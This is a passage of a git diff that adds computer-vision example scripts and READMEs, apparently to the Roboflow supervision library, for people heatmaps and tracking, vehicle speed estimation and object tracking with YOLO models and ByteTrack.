+                    frame=frame,
+                    zones=zones,
+                    zone_annotators=zone_annotators,
+                    box_annotators=box_annotators,
+                    detections=detections,
+                )
+                sink.write_frame(annotated_frame)
+    else:
+        for frame in tqdm(frames_generator, total=video_info.total_frames):
+            detections = detect(frame, model, args.confidence_threshold)
+            annotated_frame = annotate(
+                frame=frame,
+                zones=zones,
+                zone_annotators=zone_annotators,
+                box_annotators=box_annotators,
+                detections=detections,
+            )
+            cv2.imshow("Processed Video", annotated_frame)
+            if cv2.waitKey(1) & 0xFF == ord("q"):
+                break
+
+        cv2.destroyAllWindows()
@@ -0,0 +1,75 @@
+# heatmap and tracking
+
+## 👋 hello
+
+This script performs heatmap and tracking analysis using YOLOv8, an object-detection method and
+ByteTrack, a simple yet effective online multi-object tracking method. It uses the
+supervision package for multiple tasks such as drawing heatmap annotations, tracking objects, etc.
+
+
+## 💻 install
+
+- clone repository and navigate to example directory
+
+    ```bash
+    git clone https://github.com/roboflow/supervision.git
+    cd supervision/examples/heatmap_and_track
+    ```
+
+- setup python environment and activate it [optional]
+
+    ```bash
+    python3 -m venv venv
+    source venv/bin/activate
+    ```
+
+- install required dependencies
+
+    ```bash
+    pip install -r requirements.txt
+    ```
+
+## 🛠️ script arguments
+
+- `--source_weights_path`: Required. Specifies the path to the weights file for the
+YOLO model. This file contains the trained model data necessary for object detection.
+- `--source_video_path` (optional): The path to the source video file that will be
+analyzed. This is the input video on which crowd analysis will be performed.
+If not specified default is `people-walking.mp4` from supervision assets
+- `--target_video_path` (optional): The path to save the output.mp4 video with annotations.
+- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
+to filter detections. Default is `0.3`. This determines how confident the model should
+be to recognize an object in the video.
+- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+for the model. Default is 0.7. This value is used to manage object detection accuracy,
+particularly in distinguishing between different objects.
+- `--heatmap_alpha` (optional): Opacity of the overlay mask, between 0 and 1.
+- `--radius` (optional): Radius of the heat circle.
+- `--track_threshold` (optional): Detection confidence threshold for track activation.
+- `--track_seconds` (optional): Number of seconds to buffer when a track is lost.
+- `--match_threshold` (optional): Threshold for matching tracks with detections.
+
+## ⚙️ run
+
+```bash
+python script.py \
+--source_weights_path weight.pt \
+--source_video_path  input_video.mp4 \
+--confidence_threshold 0.3 \
+--iou_threshold 0.5 \
+--target_video_path  output_video.mp4
+```
+
+## © license
+
+This demo integrates two main components, each with its own licensing:
+
+- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
+  under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
+  You can find more details about this license here.
+
+- supervision: The analytics code that powers the zone-based analysis in this demo is
+  based on the Supervision library, which is licensed under the
+  [MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
+  makes the Supervision part of the code fully open source and freely usable in your
+  projects.
@@ -0,0 +1,2 @@
+supervision[assets]
+ultralytics
@@ -0,0 +1,181 @@
+import argparse
+
+import cv2
+from ultralytics import YOLO
+
+import supervision as sv
+from supervision.assets import VideoAssets, download_assets
+
+
+def download_video() -> str:
+    download_assets(VideoAssets.PEOPLE_WALKING)
+    return VideoAssets.PEOPLE_WALKING.value
+
+
+def heatmap_and_track(
+    source_weights_path: str,
+    source_video_path: str,
+    target_video_path: str,
+    confidence_threshold: float = 0.35,
+    iou_threshold: float = 0.5,
+    heatmap_alpha: float = 0.5,
+    radius: int = 25,
+    track_threshold: float = 0.35,
+    track_seconds: int = 5,
+    match_threshold: float = 0.99,
+) -> None:
+    ### instantiate model
+    model = YOLO(source_weights_path)
+
+    ### heatmap config
+    heat_map_annotator = sv.HeatMapAnnotator(
+        position=sv.Position.BOTTOM_CENTER,
+        opacity=heatmap_alpha,
+        radius=radius,
+        kernel_size=25,
+        top_hue=0,
+        low_hue=125,
+    )
+
+    ### annotation config
+    label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
+
+    ### get the video fps
+    cap = cv2.VideoCapture(source_video_path)
+    fps = int(cap.get(cv2.CAP_PROP_FPS))
+    cap.release()
+
+    ### tracker config
+    byte_tracker = sv.ByteTrack(
+        track_thresh=track_threshold,
+        track_buffer=track_seconds * fps,
+        match_thresh=match_threshold,
+        frame_rate=fps,
+    )
+
+    ### video config
+    video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
+    frames_generator = sv.get_video_frames_generator(
+        source_path=source_video_path, stride=1
+    )
+
+    ### Detect, track, annotate, save
+    with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
+        for frame in frames_generator:
+            result = model(
+                source=frame,
+                classes=[0],  # only person class
+                conf=confidence_threshold,
+                iou=iou_threshold,
+                # show_conf = True,
+                # save_txt = True,
+                # save_conf = True,
+                # save = True,
+                device=None,  # use None = CPU, 0 = single GPU, or [0,1] = dual GPU
+            )[0]
+
+            detections = sv.Detections.from_ultralytics(result)  # get detections
+
+            detections = byte_tracker.update_with_detections(
+                detections
+            )  # update tracker
+
+            ### draw heatmap
+            annotated_frame = heat_map_annotator.annotate(
+                scene=frame.copy(), detections=detections
+            )
+
+            ### draw other attributes from `detections` object
+            labels = [
+                f"#{tracker_id}"
+                for class_id, tracker_id in zip(
+                    detections.class_id, detections.tracker_id
+                )
+            ]
+
+            label_annotator.annotate(
+                scene=annotated_frame, detections=detections, labels=labels
+            )
+
+            sink.write_frame(frame=annotated_frame)
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(
+        description="Heatmap and Tracking with Supervision"
+    )
+    parser.add_argument(
+        "--source_weights_path",
+        required=True,
+        help="Path to the source weights file",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        default=download_video(),
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        default="output.mp4",
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.35,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold",
+        default=0.5,
+        help="IOU threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--heatmap_alpha",
+        default=0.5,
+        help="Opacity of the overlay mask, between 0 and 1",
+        type=float,
+    )
+    parser.add_argument(
+        "--radius",
+        default=25,
+        help="Radius of the heat circle",
+        type=float,
+    )
+    parser.add_argument(
+        "--track_threshold",
+        default=0.35,
+        help="Detection confidence threshold for track activation",
+        type=float,
+    )
+    parser.add_argument(
+        "--track_seconds",
+        default=5,
+        help="Number of seconds to buffer when a track is lost",
+        type=int,
+    )
+    parser.add_argument(
+        "--match_threshold",
+        default=0.99,
+        help="Threshold for matching tracks with detections",
+        type=float,
+    )
+
+    args = parser.parse_args()
+
+    heatmap_and_track(
+        source_weights_path=args.source_weights_path,
+        source_video_path=args.source_video_path,
+        target_video_path=args.target_video_path,
+        confidence_threshold=args.confidence_threshold,
+        iou_threshold=args.iou_threshold,
+        heatmap_alpha=args.heatmap_alpha,
+        radius=args.radius,
+        track_threshold=args.track_threshold,
+        track_seconds=args.track_seconds,
+        match_threshold=args.match_threshold,
+    )
@@ -0,0 +1,9 @@
+data/
+venv*/
+*.pt
+*.pth
+*.mp4
+*.mov
+*.png
+*.jpg
+*.jpeg
@@ -0,0 +1,117 @@
+# speed estimation
+
+[![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-estimate-vehicle-speed-with-computer-vision.ipynb)
+[![YouTube](https://badges.aleen42.com/src/youtube.svg)](https://youtu.be/uWP6UjDeZvY)
+
+## 👋 hello
+
+This example performs speed estimation analysis using various object-detection models
+and ByteTrack - a simple yet effective online multi-object tracking method. It uses the
+supervision package for multiple tasks such as tracking, annotations, etc.
+
+https://github.com/roboflow/supervision/assets/26109316/d50118c1-2ae4-458d-915a-5d860fd36f71
+
+> [!IMPORTANT]
+> Adjust the [`SOURCE`](https://github.com/roboflow/supervision/blob/e32b05a636dab2ea1f39299e529c4b22b8baa8da/examples/speed_estimation/ultralytics_example.py#L10)
+> and [`TARGET`](https://github.com/roboflow/supervision/blob/e32b05a636dab2ea1f39299e529c4b22b8baa8da/examples/speed_estimation/ultralytics_example.py#L15)
+> configuration if you plan to run a speed estimation script on your video file. Those must be adjusted separately for each camera view. You can learn more
+> from our YouTube [tutorial](https://youtu.be/uWP6UjDeZvY).
+
+## 💻 install
+
+- clone repository and navigate to example directory
+
+  ```bash
+  git clone https://github.com/roboflow/supervision.git
+  cd supervision/examples/speed_estimation
+  ```
+
+- setup python environment and activate it [optional]
+
+  ```bash
+  python3.10 -m venv venv
+  source venv/bin/activate
+  ```
+
+- install required dependencies
+
+  ```bash
+  pip install -r requirements.txt
+  ```
+
+- download `vehicles.mp4` file
+
+  ```bash
+  python3.10 video_downloader.py
+  ```
+
+## 🛠️ script arguments
+
+- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
+  directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
+  variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
+  to acquire your `API KEY`.
+- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
+  value is `"yolov8x-1280"`.
+
+- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
+  file, which is essential for the object detection process. This file contains the
+  data that the model uses to identify objects in the video.
+- `--source_video_path`: Required. The path to the source video file that will be
+  analyzed. This is the input video on which traffic flow analysis will be performed.
+- `--target_video_path`: The path to save the output video with
+  annotations. If not specified, the processed video will be displayed in real-time
+  without being saved.
+- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
+  model to filter detections. Default is `0.3`. This determines how confident the
+  model should be to recognize an object in the video.
+- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+  for the model. Default is 0.7. This value is used to manage object detection
+  accuracy, particularly in distinguishing between different objects.
+
+## ⚙️ run
+
+- yolo-nas
+
+  ```bash
+    python yolo_nas_example.py \
+    --source_video_path data/vehicles.mp4 \
+    --target_video_path data/vehicles-result.mp4 \
+    --confidence_threshold 0.3 \
+    --iou_threshold 0.5
+  ```
+
+- inference
+
+  ```bash
+    python inference_example.py \
+    --roboflow_api_key <ROBOFLOW API KEY> \
+    --source_video_path data/vehicles.mp4 \
+    --target_video_path data/vehicles-result.mp4 \
+    --confidence_threshold 0.3 \
+    --iou_threshold 0.5
+  ```
+
+- ultralytics
+
+  ```bash
+    python ultralytics_example.py \
+    --source_video_path data/vehicles.mp4 \
+    --target_video_path data/vehicles-result.mp4 \
+    --confidence_threshold 0.3 \
+    --iou_threshold 0.5
+  ```
+
+## © license
+
+This demo integrates two main components, each with its own licensing:
+
+- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
+  under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
+  You can find more details about this license here.
+
+- supervision: The analytics code that powers the zone-based analysis in this demo is
+  based on the Supervision library, which is licensed under the
+  [MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
+  makes the Supervision part of the code fully open source and freely usable in your
+  projects.
@@ -0,0 +1,167 @@
+import argparse
+import os
+from collections import defaultdict, deque
+
+import cv2
+import numpy as np
+from inference.models.utils import get_roboflow_model
+
+import supervision as sv
+
+SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
+
+TARGET_WIDTH = 25
+TARGET_HEIGHT = 250
+
+TARGET = np.array(
+    [
+        [0, 0],
+        [TARGET_WIDTH - 1, 0],
+        [TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
+        [0, TARGET_HEIGHT - 1],
+    ]
+)
+
+
+class ViewTransformer:
+    def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
+        source = source.astype(np.float32)
+        target = target.astype(np.float32)
+        self.m = cv2.getPerspectiveTransform(source, target)
+
+    def transform_points(self, points: np.ndarray) -> np.ndarray:
+        reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
+        transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
+        return transformed_points.reshape(-1, 2)
+
+
+def parse_arguments() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(
+        description="Vehicle Speed Estimation using Inference and Supervision"
+    )
+    parser.add_argument(
+        "--model_id",
+        default="yolov8x-640",
+        help="Roboflow model ID",
+        type=str,
+    )
+    parser.add_argument(
+        "--roboflow_api_key",
+        default=None,
+        help="Roboflow API KEY",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        required=True,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
+    )
+
+    return parser.parse_args()
+
+
+if __name__ == "__main__":
+    args = parse_arguments()
+
+    api_key = args.roboflow_api_key
+    api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
+    if api_key is None:
+        raise ValueError(
+            "Roboflow API key is missing. Please provide it as an argument or set the "
+            "ROBOFLOW_API_KEY environment variable."
+        )
+    args.roboflow_api_key = api_key
+
+    video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
+    model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
+
+    byte_track = sv.ByteTrack(
+        frame_rate=video_info.fps, track_thresh=args.confidence_threshold
+    )
+
+    thickness = sv.calculate_dynamic_line_thickness(
+        resolution_wh=video_info.resolution_wh
+    )
+    text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
+    bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
+    label_annotator = sv.LabelAnnotator(
+        text_scale=text_scale,
+        text_thickness=thickness,
+        text_position=sv.Position.BOTTOM_CENTER,
+    )
+    trace_annotator = sv.TraceAnnotator(
+        thickness=thickness,
+        trace_length=video_info.fps * 2,
+        position=sv.Position.BOTTOM_CENTER,
+    )
+
+    frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
+
+    polygon_zone = sv.PolygonZone(
+        polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
+    )
+    view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
+
+    coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
+
+    with sv.VideoSink(args.target_video_path, video_info) as sink:
+        for frame in frame_generator:
+            results = model.infer(frame)[0]
+            detections = sv.Detections.from_inference(results)
+            detections = detections[detections.confidence > args.confidence_threshold]
+            detections = detections[polygon_zone.trigger(detections)]
+            detections = detections.with_nms(threshold=args.iou_threshold)
+            detections = byte_track.update_with_detections(detections=detections)
+
+            points = detections.get_anchors_coordinates(
+                anchor=sv.Position.BOTTOM_CENTER
+            )
+            points = view_transformer.transform_points(points=points).astype(int)
+
+            for tracker_id, [_, y] in zip(detections.tracker_id, points):
+                coordinates[tracker_id].append(y)
+
+            labels = []
+            for tracker_id in detections.tracker_id:
+                if len(coordinates[tracker_id]) < video_info.fps / 2:
+                    labels.append(f"#{tracker_id}")
+                else:
+                    coordinate_start = coordinates[tracker_id][-1]
+                    coordinate_end = coordinates[tracker_id][0]
+                    distance = abs(coordinate_start - coordinate_end)
+                    time = len(coordinates[tracker_id]) / video_info.fps
+                    speed = distance / time * 3.6
+                    labels.append(f"#{tracker_id} {int(speed)} km/h")
+
+            annotated_frame = frame.copy()
+            annotated_frame = trace_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = bounding_box_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = label_annotator.annotate(
+                scene=annotated_frame, detections=detections, labels=labels
+            )
+
+            sink.write_frame(annotated_frame)
+            cv2.imshow("frame", annotated_frame)
+            if cv2.waitKey(1) & 0xFF == ord("q"):
+                break
+        cv2.destroyAllWindows()
@@ -0,0 +1,6 @@
+supervision==0.18.0rc1
+tqdm==4.66.1
+requests
+ultralytics==8.0.237
+super-gradients==3.5.0
+inference==0.9.8
@@ -0,0 +1,148 @@
+import argparse
+from collections import defaultdict, deque
+
+import cv2
+import numpy as np
+from ultralytics import YOLO
+
+import supervision as sv
+
+SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
+
+TARGET_WIDTH = 25
+TARGET_HEIGHT = 250
+
+TARGET = np.array(
+    [
+        [0, 0],
+        [TARGET_WIDTH - 1, 0],
+        [TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
+        [0, TARGET_HEIGHT - 1],
+    ]
+)
+
+
+class ViewTransformer:
+    def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
+        source = source.astype(np.float32)
+        target = target.astype(np.float32)
+        self.m = cv2.getPerspectiveTransform(source, target)
+
+    def transform_points(self, points: np.ndarray) -> np.ndarray:
+        if points.size == 0:
+            return points
+
+        reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
+        transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
+        return transformed_points.reshape(-1, 2)
+
+
+def parse_arguments() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(
+        description="Vehicle Speed Estimation using Ultralytics and Supervision"
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        required=True,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
+    )
+
+    return parser.parse_args()
+
+
+if __name__ == "__main__":
+    args = parse_arguments()
+
+    video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
+    model = YOLO("yolov8x.pt")
+
+    byte_track = sv.ByteTrack(
+        frame_rate=video_info.fps, track_thresh=args.confidence_threshold
+    )
+
+    thickness = sv.calculate_dynamic_line_thickness(
+        resolution_wh=video_info.resolution_wh
+    )
+    text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
+    bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
+    label_annotator = sv.LabelAnnotator(
+        text_scale=text_scale,
+        text_thickness=thickness,
+        text_position=sv.Position.BOTTOM_CENTER,
+    )
+    trace_annotator = sv.TraceAnnotator(
+        thickness=thickness,
+        trace_length=video_info.fps * 2,
+        position=sv.Position.BOTTOM_CENTER,
+    )
+
+    frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
+
+    polygon_zone = sv.PolygonZone(
+        polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
+    )
+    view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
+
+    coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
+
+    with sv.VideoSink(args.target_video_path, video_info) as sink:
+        for frame in frame_generator:
+            result = model(frame)[0]
+            detections = sv.Detections.from_ultralytics(result)
+            detections = detections[detections.confidence > args.confidence_threshold]
+            detections = detections[polygon_zone.trigger(detections)]
+            detections = detections.with_nms(threshold=args.iou_threshold)
+            detections = byte_track.update_with_detections(detections=detections)
+
+            points = detections.get_anchors_coordinates(
+                anchor=sv.Position.BOTTOM_CENTER
+            )
+            points = view_transformer.transform_points(points=points).astype(int)
+
+            for tracker_id, [_, y] in zip(detections.tracker_id, points):
+                coordinates[tracker_id].append(y)
+
+            labels = []
+            for tracker_id in detections.tracker_id:
+                if len(coordinates[tracker_id]) < video_info.fps / 2:
+                    labels.append(f"#{tracker_id}")
+                else:
+                    coordinate_start = coordinates[tracker_id][-1]
+                    coordinate_end = coordinates[tracker_id][0]
+                    distance = abs(coordinate_start - coordinate_end)
+                    time = len(coordinates[tracker_id]) / video_info.fps
+                    speed = distance / time * 3.6
+                    labels.append(f"#{tracker_id} {int(speed)} km/h")
+
+            annotated_frame = frame.copy()
+            annotated_frame = trace_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = bounding_box_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = label_annotator.annotate(
+                scene=annotated_frame, detections=detections, labels=labels
+            )
+
+            sink.write_frame(annotated_frame)
+            cv2.imshow("frame", annotated_frame)
+            if cv2.waitKey(1) & 0xFF == ord("q"):
+                break
+        cv2.destroyAllWindows()
@@ -0,0 +1,8 @@
+import os
+
+from supervision.assets import VideoAssets, download_assets
+
+if not os.path.exists("data"):
+    os.makedirs("data")
+os.chdir("data")
+download_assets(VideoAssets.VEHICLES)
@@ -0,0 +1,145 @@
+import argparse
+from collections import defaultdict, deque
+
+import cv2
+import numpy as np
+from super_gradients.common.object_names import Models
+from super_gradients.training import models
+
+import supervision as sv
+
+SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
+
+TARGET_WIDTH = 25
+TARGET_HEIGHT = 250
+
+TARGET = np.array(
+    [
+        [0, 0],
+        [TARGET_WIDTH - 1, 0],
+        [TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
+        [0, TARGET_HEIGHT - 1],
+    ]
+)
+
+
+class ViewTransformer:
+    def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
+        source = source.astype(np.float32)
+        target = target.astype(np.float32)
+        self.m = cv2.getPerspectiveTransform(source, target)
+
+    def transform_points(self, points: np.ndarray) -> np.ndarray:
+        reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
+        transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
+        return transformed_points.reshape(-1, 2)
+
+
+def parse_arguments() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(
+        description="Vehicle Speed Estimation using YOLO-NAS and Supervision"
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        required=True,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
+    )
+
+    return parser.parse_args()
+
+
+if __name__ == "__main__":
+    args = parse_arguments()
+
+    video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
+    model = models.get(Models.YOLO_NAS_L, pretrained_weights="coco")
+
+    byte_track = sv.ByteTrack(
+        frame_rate=video_info.fps, track_thresh=args.confidence_threshold
+    )
+
+    thickness = sv.calculate_dynamic_line_thickness(
+        resolution_wh=video_info.resolution_wh
+    )
+    text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
+    bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
+    label_annotator = sv.LabelAnnotator(
+        text_scale=text_scale,
+        text_thickness=thickness,
+        text_position=sv.Position.BOTTOM_CENTER,
+    )
+    trace_annotator = sv.TraceAnnotator(
+        thickness=thickness,
+        trace_length=video_info.fps * 2,
+        position=sv.Position.BOTTOM_CENTER,
+    )
+
+    frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
+
+    polygon_zone = sv.PolygonZone(
+        polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
+    )
+    view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
+
+    coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
+
+    with sv.VideoSink(args.target_video_path, video_info) as sink:
+        for frame in frame_generator:
+            result = model.predict(frame)[0]
+            detections = sv.Detections.from_yolo_nas(result)
+            detections = detections[polygon_zone.trigger(detections)]
+            detections = detections.with_nms(threshold=args.iou_threshold)
+            detections = byte_track.update_with_detections(detections=detections)
+
+            points = detections.get_anchors_coordinates(
+                anchor=sv.Position.BOTTOM_CENTER
+            )
+            points = view_transformer.transform_points(points=points).astype(int)
+
+            for tracker_id, [_, y] in zip(detections.tracker_id, points):
+                coordinates[tracker_id].append(y)
+
+            labels = []
+            for tracker_id in detections.tracker_id:
+                if len(coordinates[tracker_id]) < video_info.fps / 2:
+                    labels.append(f"#{tracker_id}")
+                else:
+                    coordinate_start = coordinates[tracker_id][-1]
+                    coordinate_end = coordinates[tracker_id][0]
+                    distance = abs(coordinate_start - coordinate_end)
+                    time = len(coordinates[tracker_id]) / video_info.fps
+                    speed = distance / time * 3.6
+                    labels.append(f"#{tracker_id} {int(speed)} km/h")
+
+            annotated_frame = frame.copy()
+            annotated_frame = trace_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = bounding_box_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+            annotated_frame = label_annotator.annotate(
+                scene=annotated_frame, detections=detections, labels=labels
+            )
+
+            sink.write_frame(annotated_frame)
+            cv2.imshow("frame", annotated_frame)
+            if cv2.waitKey(1) & 0xFF == ord("q"):
+                break
+        cv2.destroyAllWindows()
@@ -1,3 +1,5 @@
+# tracking
+
 ## 👋 hello

 This script provides functionality for processing videos using YOLOv8 for object
@@ -5,16 +7,95 @@ detection and Supervision for tracking and annotation.

 ## 💻 install

-```bash
-pip install -r requirements.txt
-```
+- clone repository and navigate to example directory

-## ⚙️ parameters
+  ```bash
+  git clone https://github.com/roboflow/supervision.git
+  cd supervision/examples/tracking
+  ```

-| parameter                | required | description                                                                       |
-|:-------------------------|:--------:|:----------------------------------------------------------------------------------|
-| `--source_weights_path`  |    ✓     | Path to the source weights file for YOLOv8.                                       |
-| `--source_video_path`    |    ✓     | Path to the source video file to be processed.                                    |
-| `--target_video_path`    |    ✓     | Path to the target video file (output).                                           |
-| `--confidence_threshold` |    ✗     | Confidence threshold for YOLO model detection. Default is 0.3.                    |
-| `--iou_threshold`        |    ✗     | IOU (Intersection over Union) threshold for YOLO model detection. Default is 0.7. |
+- setup python environment and activate it [optional]
+
+  ```bash
+  python3 -m venv venv
+  source venv/bin/activate
+  ```
+
+- install required dependencies
+
+  ```bash
+  pip install -r requirements.txt
+  ```
+
+## 🛠️ script arguments
+
+- ultralytics
+
+  - `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
+    file, which is essential for the object detection process. This file contains the data
+    that the model uses to identify objects in the video.
+
+  - `--source_video_path`: Required. The path to the source video file to be processed.
+    This is the video on which object detection and annotation will be performed.
+  - `--target_video_path`: Required. The path where the processed video, with annotations
+    added, will be saved. This is your output video file.
+  - `--confidence_threshold` (optional): Sets the confidence level at which the model
+    identifies objects in the video. Default is `0.3`. A higher threshold makes the model
+    more selective, while a lower threshold makes it more inclusive in identifying objects.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model, defaulting to `0.7`. This parameter helps in differentiating between
+    distinct objects, especially in crowded scenes.
+
+- inference
+
+  - `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
+    directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
+    variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
+    to acquire your `API KEY`.
+  - `--model_id` (optional): Designates the Roboflow model ID to be used. The default
+    value is `"yolov8x-1280"`.
+
+  - `--source_video_path`: Required. The path to the source video file to be processed.
+    This is the video on which object detection and annotation will be performed.
+  - `--target_video_path`: Required. The path where the processed video, with annotations
+    added, will be saved. This is your output video file.
+  - `--confidence_threshold` (optional): Sets the confidence level at which the model
+    identifies objects in the video. Default is `0.3`. A higher threshold makes the model
+    more selective, while a lower threshold makes it more inclusive in identifying objects.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model, defaulting to `0.7`. This parameter helps in differentiating between
+    distinct objects, especially in crowded scenes.
+
+## ⚙️ run
+
+- inference
+
+  ```bash
+  python inference_example.py \
+  --roboflow_api_key <ROBOFLOW API KEY> \
+  --source_video_path input.mp4 \
+  --target_video_path tracking_result.mp4
+  ```
+
+- ultralytics
+
+  ```bash
+  python ultralytics_example.py \
+  --source_weights_path yolov8s.pt \
+  --source_video_path input.mp4 \
+  --target_video_path tracking_result.mp4
+  ```
+
+## © license
+
+This demo integrates two main components, each with its own licensing:
+
+- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
+  under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
+  You can find more details about this license here.
+
+- supervision: The analytics code that powers the zone-based analysis in this demo is
+  based on the Supervision library, which is licensed under the
+  [MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
+  makes the Supervision part of the code fully open source and freely usable in your
+  projects.
@@ -0,0 +1,101 @@
+import argparse
+import os
+
+from inference.models.utils import get_roboflow_model
+from tqdm import tqdm
+
+import supervision as sv
+
+
+def process_video(
+    roboflow_api_key: str,
+    model_id: str,
+    source_video_path: str,
+    target_video_path: str,
+    confidence_threshold: float = 0.3,
+    iou_threshold: float = 0.7,
+) -> None:
+    model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
+
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+    frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
+    video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
+
+    with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
+        for frame in tqdm(frame_generator, total=video_info.total_frames):
+            results = model.infer(
+                frame, confidence=confidence_threshold, iou_threshold=iou_threshold
+            )[0]
+            detections = sv.Detections.from_inference(results)
+            detections = tracker.update_with_detections(detections)
+
+            annotated_frame = box_annotator.annotate(
+                scene=frame.copy(), detections=detections
+            )
+
+            annotated_labeled_frame = label_annotator.annotate(
+                scene=annotated_frame, detections=detections
+            )
+
+            sink.write_frame(frame=annotated_labeled_frame)
+
+
